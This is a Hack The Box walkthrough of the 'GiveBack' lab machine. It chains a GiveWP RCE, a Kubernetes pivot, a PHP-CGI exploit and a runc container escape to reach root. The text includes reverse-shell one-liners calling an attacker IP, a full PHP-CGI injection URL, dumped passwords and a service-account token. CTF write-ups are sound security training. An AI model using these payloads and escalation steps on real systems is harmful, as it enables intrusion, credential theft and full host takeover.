Hack The Box / LINUX / 2026-02-21
Hack The Box — GiveBack (Linux)
WordPress (GiveWP) RCE, pivot in Kubernetes environment, secret extraction, SSH access as babywyrm, and root via runc CVE-2024-21626 through /opt/debug.
Target
- IP:
10.129.241.88
Nmap
sudo nmap -sC -sV 10.129.241.88 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_ 256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp open http nginx 1.28.0
|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-generator: WordPress 6.8.1
|_http-server-header: nginx/1.28.0
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
6443/tcp filtered sun-sr-https
10250/tcp filtered unknown
30686/tcp open http Golang net/http server
|_http-favicon: Unknown favicon MD5: 078C07D5669A42740EF813D5300EBA4D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Sat, 01 Nov 2025 20:56:09 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
| "serviceProxyHealthy": true
| GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Sat, 01 Nov 2025 20:55:52 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
|_ "serviceProxyHealthy": true
|_http-title: Site doesn't have a title (application/json).
Web findings:
- WordPress
6.8.1 robots.txtcontains/wp-admin/- Extra HTTP service on
30686
WordPress Enumeration
Visit:
http://10.129.241.88/
Run WPScan:
wpscan --url http://10.129.241.88/ -e ap --plugins-detection aggressive -t 50 -v
Important note:
- The aggressive plugin scan can be unreliable here because too many requests trigger HTTP 503.
- Wappalyzer confirms WordPress 6.8.1.
A useful link found on the site:
http://giveback.htb/donations/the-things-we-need/
Add host entry:
# /etc/hosts
10.129.241.88 giveback.htb
Initial Access — GiveWP RCE
On the website we can do a donation.
Wappalyzer extension tells us that GiveWP is in use
A vulnerability with an exploit exists:
- https://github.com/EQSTLab/CVE-2024-5932
Start listener + HTTP server:
nc -vlnp 4444
python3 -m http.server 5555
I obtained a reverse shell in two steps:
python CVE-2024-5932/CVE-2024-5932-rce.py -u http://giveback.htb/donations/the-things-we-need/ -c "echo 'bash -i >& /dev/tcp/10.10.14.85/4444 0>&1' > /tmp/rev"
python CVE-2024-5932/CVE-2024-5932-rce.py -u http://giveback.htb/donations/the-things-we-need/ -c "bash /tmp/rev"
On the netcat terminal, I got a reverse shell.
Shell Upgrade
script -qc /bin/bash /dev/null
# CTRL+z
stty raw -echo
fg
Check identity:
id
uid=1001 gid=0(root) groups=0(root),1001
Container Enumeration
Environment appears to be Bitnami.
cd /opt/bitnami/wordpress
cat wp-config.php
Credentials from wp-config.php:
define( 'DB_NAME', 'bitnami_wordpress' );
define( 'DB_USER', 'bn_wordpress' );
define( 'DB_PASSWORD', 'sW5sp4spa3u7RLyetrekE4oS' );
define( 'DB_HOST', 'beta-vino-wp-mariadb:3306' );
Connect to MySQL:
mysql -h beta-vino-wp-mariadb -u bn_wordpress -p
# password: sW5sp4spa3u7RLyetrekE4oS
show databases;
+--------------------+
| Database |
+--------------------+
| bitnami_wordpress |
| information_schema |
+--------------------+
use bitnami_wordpress;
show tables;
-- We notice the wp_users table
select * from wp_users;
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
| 1 | user | $P$Bm1D6gJHKylnyyTeT0oYNGKpib//vP. | user | user@example.com | http://127.0.0.1 | 2024-09-21 22:18:28 | | 0 | babywyrm |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
User hash found but not cracked with:
hashcat -a 0 -m 400 ./hash /usr/share/wordlists/rockyou.txt
File Transfer Trick (No curl/wget in container)
Attacker side:
cat myfile | nc -vlnp 4444
Victim side:
cat < /dev/tcp/10.10.14.85/4444 > myfile
Used to upload ip binary + needed libs.
LD_LIBRARY_PATH=/tmp/iproute2 ./ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if20: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP group default
link/ether e2:74:f3:1b:70:c8 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.42.1.198/24 brd 10.42.1.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::e074:f3ff:fe1b:70c8/64 scope link
valid_lft forever preferred_lft forever
LD_LIBRARY_PATH=/tmp/iproute2 ./ip route
default via 10.42.1.1 dev eth0
10.42.0.0/16 via 10.42.1.1 dev eth0
10.42.1.0/24 dev eth0 proto kernel scope link src 10.42.1.198
From routing, likely host IP:
10.42.1.1
Internal Network / Kubernetes Pivot
Upload static nmap binary and some nmap-related files:
cp /usr/share/nmap/nmap-services .
cp /usr/share/nmap/nmap-protocols .
Upload them on the target container
./nmap 10.42.1.1 -p- -v -T5
22/tcp open ssh
6443/tcp open sun-sr-https
10250/tcp open unknown
30686/tcp open unknown
Ports 6443 and 10250 are Kubernetes-related.
Reference: - https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/index.html
Chisel SOCKS tunnel
Download chisel and upload it on the target container.
Attacker:
./chisel server -p 9999 --reverse
Container:
./chisel client 10.10.14.85:9999 R:socks
Make sure that there is the following line in /etc/proxychains4.conf:
socks5 127.0.0.1 1080
Now we can interact with the host computer of the container through the SOCKS proxy.
Let's try to access the Kubernetes API:
proxychains curl -k https://10.42.1.1:10250/pods
However, we get unauthorized
Discover Legacy Internal CMS
Let's read the environment variables:
env
We find:
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
Browse through proxy:
proxychains firefox
Then go to http://10.43.2.241:5000
We notice:
GiveBack LLC Internal CMS System
Development Environment – Internal Use Only
Legacy Notice
**SRE** - This system still includes legacy CGI support. Cluster misconfiguration may likely expose internal scripts.
Internal Resources
/admin/ — VPN Required
/backups/ — VPN Required
/runbooks/ — VPN Required
/legacy-docs/ — VPN Required
/debug/ — Disabled
/cgi-bin/info — CGI Diagnostics
/cgi-bin/php-cgi — PHP-CGI Handler
/phpinfo.php
/robots.txt — Crawlers: Disallowed
Developer Note
This CMS was originally deployed on Windows IIS using php-cgi.exe. During migration to Linux, the Windows-style CGI handling was retained to ensure legacy scripts continued to function without modification.
Interesting internal paths:
/cgi-bin/info/cgi-bin/php-cgi/phpinfo.php
PHP-CGI RCE on Internal Service
Searching on internet we find that there is a vulnerability of php-cgi.exe with a pulic exploit:
- https://www.exploit-db.com/exploits/52331
To exploit the vulnerability on our attacker machine, we can use curl:
proxychains curl 'http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+cgi.force_redirect%3D0+%ADd+cgi.redirect_status_env%3D0+%ADd+fastcgi.impersonate%3D1+%ADd+open_basedir%3D+%ADd+disable_functions%3D+%ADd+auto_prepend_file%3Dphp://input+%ADd+allow_url_include%3D1+%ADd+allow_url_fopen%3D1' -d 'cat /etc/passwd'
We get the content of /etc/passwd, so we have command execution on that internal service.
Other example:
proxychains curl 'http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+cgi.force_redirect%3D0+%ADd+cgi.redirect_status_env%3D0+%ADd+fastcgi.impersonate%3D1+%ADd+open_basedir%3D+%ADd+disable_functions%3D+%ADd+auto_prepend_file%3Dphp://input+%ADd+allow_url_include%3D1+%ADd+allow_url_fopen%3D1' -d 'whoami'
Output indicates root on that internal service.
Reverse shell from internal service
Listener:
nc -vnlp 4444
Payload (no bash available, use /bin/sh + nc):
proxychains curl 'http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+cgi.force_redirect%3D0+%ADd+cgi.redirect_status_env%3D0+%ADd+fastcgi.impersonate%3D1+%ADd+open_basedir%3D+%ADd+disable_functions%3D+%ADd+auto_prepend_file%3Dphp://input+%ADd+allow_url_include%3D1+%ADd+allow_url_fopen%3D1' -d 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.85 4444 >/tmp/f'
Upgrade shell:
script -qc /bin/sh /dev/null
# CTRL+z
stty raw -echo
fg
Kubernetes Service Account Abuse
Inside the new container:
cd /run/secrets/kubernetes.io/serviceaccount
ls
ca.crt namespace token
cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzODQxMzQ0LCJpYXQiOjE3NjIzMDUzNDQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMmIyOGU3ZTEtZTQyOC00N2Y0LTk2ODktMDM0ODllZmU2Mjg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LWdiOTc1IiwidWlkIjoiMDc5NDAzMjMtNjMyYi00NDA5LTkxMWItYzJmZmExZmJkY2E5In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjMwODk1MX0sIm5iZiI6MTc2MjMwNTM0NCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.gX6h5fMqaUZW0CAKEvASHlnuTGrSTQKikxSaWZ48odzmRJV1YXauF_PUXptn89vPOffnT-3sle77899f3BM5sdRG1wTgqubGN7oiCNfVJP_9kIHzt_jQVC20S5YV2wRaWwhEGQ-ZIhoTPFDmqxYVr-28Kek5fmt9zCoUy_Ss4ssTQYSOjrKn7QHN58OQA_mEZkLrexSzi9ZQPQBdCIGiHoHGvwT3R--48HdWqBbah5fWaFbrG5arX2BZdPb5mSRB7tzFw1cM0ICmNpFwUcXdvtnmttSuOP7c2EbGO9EGGpApvKDnIlkU4MBIBb8wgHbDPxBni6OSG4InE3MLPL8vkQ
cat namespace
default
cat ca.crt
-----BEGIN CERTIFICATE-----
MIIBdzCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE3MjY5Mjc3MjMwHhcNMjQwOTIxMTQwODQzWhcNMzQwOTE5MTQwODQz
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE3MjY5Mjc3MjMwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAATWYWOnIUmDn8DGHOdKLjrOZ36gSUMVrnqqf6YJsvpk
9QbgzGNFzYcwDZxmZtJayTbUrFFjgSydDNGuW/AkEnQ+o0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUtCpVDbK3XnBv3N3BKuXy
Yd0zeicwCgYIKoZIzj0EAwIDSAAwRQIgOsFo4UipeXPiEXvlGH06fja8k46ytB45
cd0d39uShuQCIQDMgaSW8nrpMfNExuGLMZhcsVrUr5XXN8F5b/zYi5snkQ==
-----END CERTIFICATE-----
Useful website: https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/kubernetes-enumeration.html
Use token against Kubernetes API (attacker machine):
TOKEN="<token>"
proxychains curl -k -H "Authorization: Bearer $TOKEN" https://10.42.1.1:6443/api/v1/namespaces/default/secrets/ > res.txt
From res.txt, secret found:
"name": "user-secret-babywyrm",
"data": {
"MASTERPASS": "azRNc2JTSld1OGVtcDV1aXMxRlNyVjNDNlRCeGlxdmI="
}
Decode:
echo -n 'azRNc2JTSld1OGVtcDV1aXMxRlNyVjNDNlRCeGlxdmI=' | base64 -d
Password:
k4MsbSJWu8emp5uis1FSrV3C6TBxiqvb
SSH as babywyrm
ssh babywyrm@giveback.htb
# password: k4MsbSJWu8emp5uis1FSrV3C6TBxiqvb
Check sudo permissions:
sudo -l
User babywyrm may run the following commands on localhost:
(ALL) NOPASSWD: !ALL
(ALL) /opt/debug
ls -la /opt/debug
-rwx------ 1 root root 1037 Nov 22 2024 /opt/debug
We cannot read the file, but we can execute it as root. Let's try to execute it:
sudo /opt/debug
It asks an administrative password.
In res.txt there are also other base64 credentials:
"data": {
"mariadb-password": "c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T",
"mariadb-root-password": "c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw=="
}
Decode mariadb-password:
echo -n 'c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T' | base64 -d
Output:
sW5sp4spa3u7RLyetrekE4oS
Use it as administrative password for /opt/debug.
sudo /opt/debug --help
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password:
# use sW5sp4spa3u7RLyetrekE4oS
[*] Administrative password verified
[*] Processing command: --help
Restricted runc Debug Wrapper
Usage:
/opt/debug [flags] spec
/opt/debug [flags] run <id>
/opt/debug version | --version | -v
Flags:
--log <file>
--root <path>
--debug
So it seems that /opt/debug is a wrapper for runc with some restrictions.
Let's try the version command:
echo 'sW5sp4spa3u7RLyetrekE4oS' | sudo /opt/debug version
[*] Processing command: version
runc version 1.1.11
commit: v1.1.11-0-g4bccb38c
spec: 1.0.2-dev
go: go1.20.12
libseccomp: 2.5.4
Privilege Escalation — runc CVE-2024-21626
Exploit reference: - https://github.com/NitroCao/CVE-2024-21626
Generate spec:
echo 'sW5sp4spa3u7RLyetrekE4oS' | sudo /opt/debug spec
Patch config.json cwd:
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
Create minimal rootfs:
mkdir -p rootfs/bin
cp /bin/bash rootfs/bin/
cp /bin/sh rootfs/bin/
cp /bin/ls rootfs/bin/
cp /bin/cat rootfs/bin/
cp /bin/echo rootfs/bin/
We also have to copy the needed libraries:
mkdir -p rootfs/lib
mkdir -p rootfs/lib64
cp /lib/x86_64-linux-gnu/libc.so.6 rootfs/lib/
cp /lib/x86_64-linux-gnu/libdl.so.2 rootfs/lib/
cp /lib/x86_64-linux-gnu/libtinfo.so.6 rootfs/lib/
cp /lib/x86_64-linux-gnu/libselinux.so.1 rootfs/lib/
cp /lib/x86_64-linux-gnu/libpcre2-8.so.0 rootfs/lib/
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
Run container:
sudo /opt/debug --log ./log.json run demo
After providing admin password, escape and read host files:
cat ./../../../../../../etc/passwd
cat ./../../../../../../root/root.txt
Root flag obtained.
Additional Notes
If netstat is missing in a container, a static binary can help:
- https://github.com/ab2pentest/linux-static-binaries/raw/refs/heads/main/x64/netstat
Example usage from this target:
./netstat -ano
(Used to inspect internal connections and service exposure.)